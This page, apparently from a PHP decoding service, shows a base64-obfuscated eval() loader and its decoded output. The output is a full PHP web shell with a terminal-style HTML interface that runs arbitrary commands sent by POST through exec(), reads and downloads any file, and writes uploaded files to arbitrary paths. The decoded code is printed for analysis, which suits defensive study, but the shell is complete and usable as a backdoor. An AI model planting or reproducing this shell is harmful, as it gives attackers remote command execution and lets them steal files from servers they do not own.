Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCg0KZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHs..

Decoded Output download

?>b'<?php

function featureShell($cmd, $cwd) {
    $stdout = array();

    if (preg_match("/^s*cds*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^s*cds+(.+)s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^s*cds+([^s]+)s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^s*downloads+[^s]+s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^s*downloads+([^s]+)s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}

function featurePwd() {
    return array("cwd" => getcwd());
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == \'cmd\') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c "$cmd"";
    $files = explode("n", shell_exec($cmd));
    return array(
        \'files\' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            \'stdout\' => array(\'File not found / no read permission.\'),
            \'cwd\' => getcwd()
        );
    } else {
        return array(
            \'name\' => basename($filePath),
            \'file\' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, \'wb\');
    if ($f === FALSE) {
        return array(
            \'stdout\' => array(\'Invalid path / no write permission.\'),
            \'cwd\' => getcwd()
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            \'stdout\' => array(\'Done.\'),
            \'cwd\' => getcwd()
        );
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST[\'cmd\'];
            if (!preg_match(\'/2>/\', $cmd)) {
                $cmd .= \' 2>&1\';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST[\'filename\'], $_POST[\'cwd\'], $_POST[\'type\']);
            break;
        case \'upload\':
            $response = featureUpload($_POST[\'path\'], $_POST[\'file\'], $_POST[\'cwd\']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>root@ionel:~#</title>
	<link rel="stylesheet" type="text/css" href="elemente/theme.css">
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                color: #eee;
                font-family: monospace;
            }

            #shell {
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            @media (max-width: 991px) {
                #shell-logo {
                    display: none;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "nn";
                eShellContent.innerHTML += \'<span class="shell-prompt">\' + genPrompt(CWD) + \'</span> \';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^s*uploads+[^s]+s*$/.test(command)) {
                    featureUpload(command.match(/^s*uploads+([^s]+)s*$/)[1]);
                } else if (/^s*clears*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = \'\';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty(\'file\')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === \'cmd\') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement(\'a\');
                element.setAttribute(\'href\', \'data:application/octet-stream;base64,\' + file);
                element.setAttribute(\'download\', name);
                element.style.display = \'none\';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout(\'Done.\');
            }

            function featureUpload(path) {
                var element = document.createElement(\'input\');
                element.setAttribute(\'type\', \'file\');
                element.style.display = \'none\';
                document.body.appendChild(element);
                element.addEventListener(\'change\', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest(\'?feature=upload\', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout(\'An unknown client-side error occurred.\');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "root@ionel:#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case \'Tab\':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
      <div class="mb-6 col" style="z-index: 1">
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">

  _____                 _   __    __    __  <span></span>
 |_   _|               | | / /   / /   / /  <span></span>
   | |  ___  _ __   ___| |/ /_  / /_  / /_  <span></span>
   | | / _ | \'_  / _ | | \'_ | \'_ | \'_  <span></span>
  _| || (_) | | | |  __| | (_) | (_) | (_) |<span></span>
 |________/|_| |_|___|_|___/ ___/ ___/ <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
      </div>
    </body>
<canvas class="position-absolute w-100 h-screen" style="left: 0; top: 0"></canvas>
<script type="ac2d4717caf6c40fd6f503c0-text/javascript" src="elemente/fluid.js"></script>
<script src="https://ajax.cloudflare.com/cdn-cgi/scripts/7089c43e/cloudflare-static/rocket-loader.min.js" data-cf-settings="ac2d4717caf6c40fd6f503c0-|49" defer=""></script></body>
</html>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCg0KZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHsNCiAgICAkc3Rkb3V0ID0gYXJyYXkoKTsNCg0KICAgIGlmIChwcmVnX21hdGNoKCIvXnMqY2RzKiQvIiwgJGNtZCkpIHsNCiAgICAgICAgLy8gcGFzcw0KICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCIvXnMqY2RzKyguKylzKigyPiYxKT8kLyIsICRjbWQpKSB7DQogICAgICAgIGNoZGlyKCRjd2QpOw0KICAgICAgICBwcmVnX21hdGNoKCIvXnMqY2RzKyhbXnNdKylzKigyPiYxKT8kLyIsICRjbWQsICRtYXRjaCk7DQogICAgICAgIGNoZGlyKCRtYXRjaFsxXSk7DQogICAgfSBlbHNlaWYgKHByZWdfbWF0Y2goIi9ecypkb3dubG9hZHMrW15zXStzKigyPiYxKT8kLyIsICRjbWQpKSB7DQogICAgICAgIGNoZGlyKCRjd2QpOw0KICAgICAgICBwcmVnX21hdGNoKCIvXnMqZG93bmxvYWRzKyhbXnNdKylzKigyPiYxKT8kLyIsICRjbWQsICRtYXRjaCk7DQogICAgICAgIHJldHVybiBmZWF0dXJlRG93bmxvYWQo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gICAgKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAnbmFtZScgPT4gYmFzZW5hbWUoJGZpbGVQYXRoKSwNCiAgICAgICAgICAgICdmaWxlJyA9PiBiYXNlNjRfZW5jb2RlKCRmaWxlKQ0KICAgICAgICApOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gZmVhdHVyZVVwbG9hZCgkcGF0aCwgJGZpbGUsICRjd2QpIHsNCiAgICBjaGRpcigkY3dkKTsNCiAgICAkZiA9IEBmb3BlbigkcGF0aCwgJ3diJyk7DQogICAgaWYgKCRmID09PSBGQUxTRSkgew0KICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAnc3Rkb3V0JyA9PiBhcnJheSgnSW52YWxpZCBwYXRoIC8gbm8gd3JpdGUgcGVybWlzc2lvbi4nKSwNCiAgICAgICAgICAgICdjd2QnID0+IGdldGN3ZCgpDQogICAgICAgICk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZndyaXRlKCRmLCBiYXNlNjRfZGVjb2RlKCRmaWxlKSk7DQogICAgICAgIGZjbG9zZSgkZik7DQogICAgICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgICAgICdzdGRvdXQnID0+IGFycmF5KCdEb25lLicpLA0KICAgICAgICAgICAgJ2N3ZCcgPT4gZ2V0Y3dkKCkNCiAgICAgICAgKTsNCiAgICB9DQp9DQoNCmlmIChpc3NldCgkX0dFVFsiZmVhdHVyZSJdKSkgew0KDQogICAgJHJlc3BvbnNlID0gTlVMTDsNCg0KICAgIHN3aXRjaCAoJF9HRVRbImZlYXR1cmUiXSkgew0KICAgICAgICBjYXNlICJzaGVsbCI6DQogICAgICAgICAgICAkY21kID0gJF9QT1NUWydjbWQnXTsNCiAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgnLzI+LycsICRjbWQpKSB7DQogICAgICAgICAgICAgICAgJGNtZCAuPSAnIDI+JjEnOw0KICAgICAgICAgICAgf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XJnaW46IDA7DQogICAgICAgICAgICAgICAgcGFkZGluZzogMDsNCiAgICAgICAgICAgICAgICBjb2xvcjogI2VlZTsNCiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjc2hlbGwgew0KICAgICAgICAgICAgICAgIG1heC13aWR0aDogODAwcHg7DQogICAgICAgICAgICAgICAgbWFyZ2luOiA1MHB4IGF1dG8gMCBhdXRvOw0KICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCA1cHggcmdiYSgwLCAwLCAwLCAuMyk7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMHB0Ow0KICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogc3RyZXRjaDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgI3NoZWxsLWNvbnRlbnQgew0KICAgICAgICAgICAgICAgIGhlaWdodDogNTAwcHg7DQogICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGF1dG87DQogICAgICAgICAgICAgICAgcGFkZGluZzogNXB4Ow0KICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsNCiAgICAgICAgICAgICAgICBmbGV4LWdyb3c6IDE7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNzaGVsbC1sb2dvIHsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICBjb2xvcjogI0ZGNDE4MDsNCiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA5OTFweCkgew0KICAgICAgICAgICAgICAgICNzaGVsbC1sb2dvIHsNCiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBodG1sLCBib2R5LCAjc2hlbGwgew0KICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IG5vbmU7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgI3NoZWxsIHsNCiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogMDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCkgew0KICAgICAgICAgICAgICAgICNzaGVsbC1pbnB1dCB7DQogICAgICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuc2hlbGwtcHJvbXB0IHsNCiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICBjb2xvcjogIzc1REYwQjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLnNoZWxsLXByb21wdCA+IHNwYW4gew0KICAgICAgICAgICAgICAgIGNvbG9yOiAjMUJDOUU3Ow0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjc2hlbGwtaW5wdXQgew0KICAgICAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAtMXB4IDAgcmdiYSgwLCAwLCAwLCAuMyk7DQogICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogcmdiYSgyNTUsIDI1NSwgMjU1LCAuMDUpIHNvbGlkIDFweDsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgI3NoZWxsLWlucHV0ID4gbGFiZWwgew0KICAgICAgICAgICAgICAgIGZsZXgtZ3JvdzogMDsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwIDVweDsNCiAgICAgICAgICAgICAgICBoZWlnaHQ6IDMwcHg7DQogICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDMwcHg7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCAjc2hlbGwtY21kIHsNCiAgICAgICAgICAgICAgICBoZWlnaHQ6IDMwcHg7DQogICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDMwcHg7DQogICAgICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KICAgICAgICAgICAgICAgIGNvbG9yOiAjZWVlOw0KICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMHB0Ow0KICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOw0KICAgICAgICAgICAgICAgIGFsaWduLXNlbGY6IGNlbnRlcjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgI3NoZWxsLWlucHV0IGRpdiB7DQogICAgICAgICAgICAgICAgZmxleC1ncm93OiAxOw0KICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBzdHJldGNoOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAjc2hlbGwtaW5wdXQgaW5wdXQgew0KICAgICAgICAgICAgICAgIG91dGxpbmU6IG5vbmU7DQogICAgICAgICAgICB9DQogICAgICAgIDwvc3R5bGU+DQoNCiAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgIHZhciBDV0QgPSBudWxsOw0KICAgICAgICAgICAgdmFyIGNvbW1hbmRIaXN0b3J5ID0gW107DQogICAgICAgICAgICB2YXIgaGlzdG9yeVBvc2l0aW9uID0gMDsNCiAgICAgICAgICAgIHZhciBlU2hlbGxDbWRJbnB1dCA9IG51bGw7DQogICAgICAgICAgICB2YXIgZVNoZWxsQ29udGVudCA9IG51bGw7DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIF9pbnNlcnRDb21tYW5kKGNvbW1hbmQpIHsNCiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSAibm4iOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9ICc8c3BhbiBjbGFzcz0ic2hlbGwtcHJvbXB0Ij4nICsgZ2VuUHJvbXB0KENXRCkgKyAnPC9zcGFuPiAnOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9IGVzY2FwZUh0bWwoY29tbWFuZCk7DQogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gIm4iOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wID0gZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHQ7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIF9pbnNlcnRTdGRvdXQoc3Rkb3V0KSB7DQogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gZXNjYXBlSHRtbChzdGRvdXQpOw0KICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wID0gZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHQ7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVTaGVsbChjb21tYW5kKSB7DQoNCiAgICAgICAgICAgICAgICBfaW5zZXJ0Q29tbWFuZChjb21tYW5kKTsNCiAgICAgICAgICAgICAgICBpZiAoL15zKnVwbG9hZHMrW15zXStzKiQvLnRlc3QoY29tbWFuZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgZmVhdHVyZVVwbG9hZChjb21tYW5kLm1hdGNoKC9ecyp1cGxvYWRzKyhbXnNdKylzKiQvKVsxXSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIGlmICgvXnMqY2xlYXJzKiQvLnRlc3QoY29tbWFuZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQmFja2VuZCBzaGVsbCBURVJNIGVudmlyb25tZW50IHZhcmlhYmxlIG5vdCBzZXQuIENsZWFyIGNvbW1hbmQgaGlzdG9yeSBmcm9tIFVJIGJ1dCBrZWVwIGluIGJ1ZmZlcg0KICAgICAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCA9ICcnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KCI/ZmVhdHVyZT1zaGVsbCIsIHtjbWQ6IGNvbW1hbmQsIGN3ZDogQ1dEfSwgZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAocmVzcG9uc2UuaGFzT3duUHJvcGVydHkoJ2ZpbGUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVEb3dubG9hZChyZXNwb25zZS5uYW1lLCByZXNwb25zZS5maWxlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KHJlc3BvbnNlLnN0ZG91dC5qb2luKCJuIikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZUN3ZChyZXNwb25zZS5jd2QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVIaW50KCkgew0KICAgICAgICAgICAgICAgIGlmIChlU2hlbGxDbWRJbnB1dC52YWx1ZS50cmltKCkubGVuZ3RoID09PSAwKSByZXR1cm47ICAvLyBmaWVsZCBpcyBlbXB0eSAtPiBub3RoaW5nIHRvIGNvbXBsZXRlDQoNCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBfcmVxdWVzdENhbGxiYWNrKGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEuZmlsZXMubGVuZ3RoIDw9IDEpIHJldHVybjsgIC8vIG5vIGNvbXBsZXRpb24NCg0KICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5maWxlcy5sZW5ndGggPT09IDIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0eXBlID09PSAnY21kJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gZGF0YS5maWxlc1swXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGN1cnJlbnRWYWx1ZSA9IGVTaGVsbENtZElucHV0LnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY3VycmVudFZhbHVlLnJlcGxhY2UoLyhbXnNdKikkLywgZGF0YS5maWxlc1swXSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0Q29tbWFuZChlU2hlbGxDbWRJbnB1dC52YWx1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KGRhdGEuZmlsZXMuam9pbigibiIpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBjdXJyZW50Q21kID0gZVNoZWxsQ21kSW5wdXQudmFsdWUuc3BsaXQoIiAiKTsNCiAgICAgICAgICAgICAgICB2YXIgdHlwZSA9IChjdXJyZW50Q21kLmxlbmd0aCA9PT0gMSkgPyAiY21kIiA6ICJmaWxlIjsNCiAgICAgICAgICAgICAgICB2YXIgZmlsZU5hbWUgPSAodHlwZSA9PT0gImNtZCIpID8gY3VycmVudENtZFswXSA6IGN1cnJlbnRDbWRbY3VycmVudENtZC5sZW5ndGggLSAxXTsNCg0KICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KA0KICAgICAgICAgICAgICAgICAgICAiP2ZlYXR1cmU9aGludCIsDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lOiBmaWxlTmFtZSwNCiAgICAgICAgICAgICAgICAgICAgICAgIGN3ZDogQ1dELA0KICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogdHlwZQ0KICAgICAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICAgICBfcmVxdWVzdENhbGxiYWNrDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlRG93bmxvYWQobmFtZSwgZmlsZSkgew0KICAgICAgICAgICAgICAgIHZhciBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KICAgICAgICAgICAgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCdocmVmJywgJ2RhdGE6YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtO2Jhc2U2NCwnICsgZmlsZSk7DQogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2Rvd25sb2FkJywgbmFtZSk7DQogICAgICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7DQogICAgICAgICAgICAgICAgZWxlbWVudC5jbGljaygpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7DQogICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dCgnRG9uZS4nKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gZmVhdHVyZVVwbG9hZChwYXRoKSB7DQogICAgICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICAgICAgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCd0eXBlJywgJ2ZpbGUnKTsNCiAgICAgICAgICAgICAgICBlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlbGVtZW50KTsNCiAgICAgICAgICAgICAgICBlbGVtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIHByb21pc2UgPSBnZXRCYXNlNjQoZWxlbWVudC5maWxlc1swXSk7DQogICAgICAgICAgICAgICAgI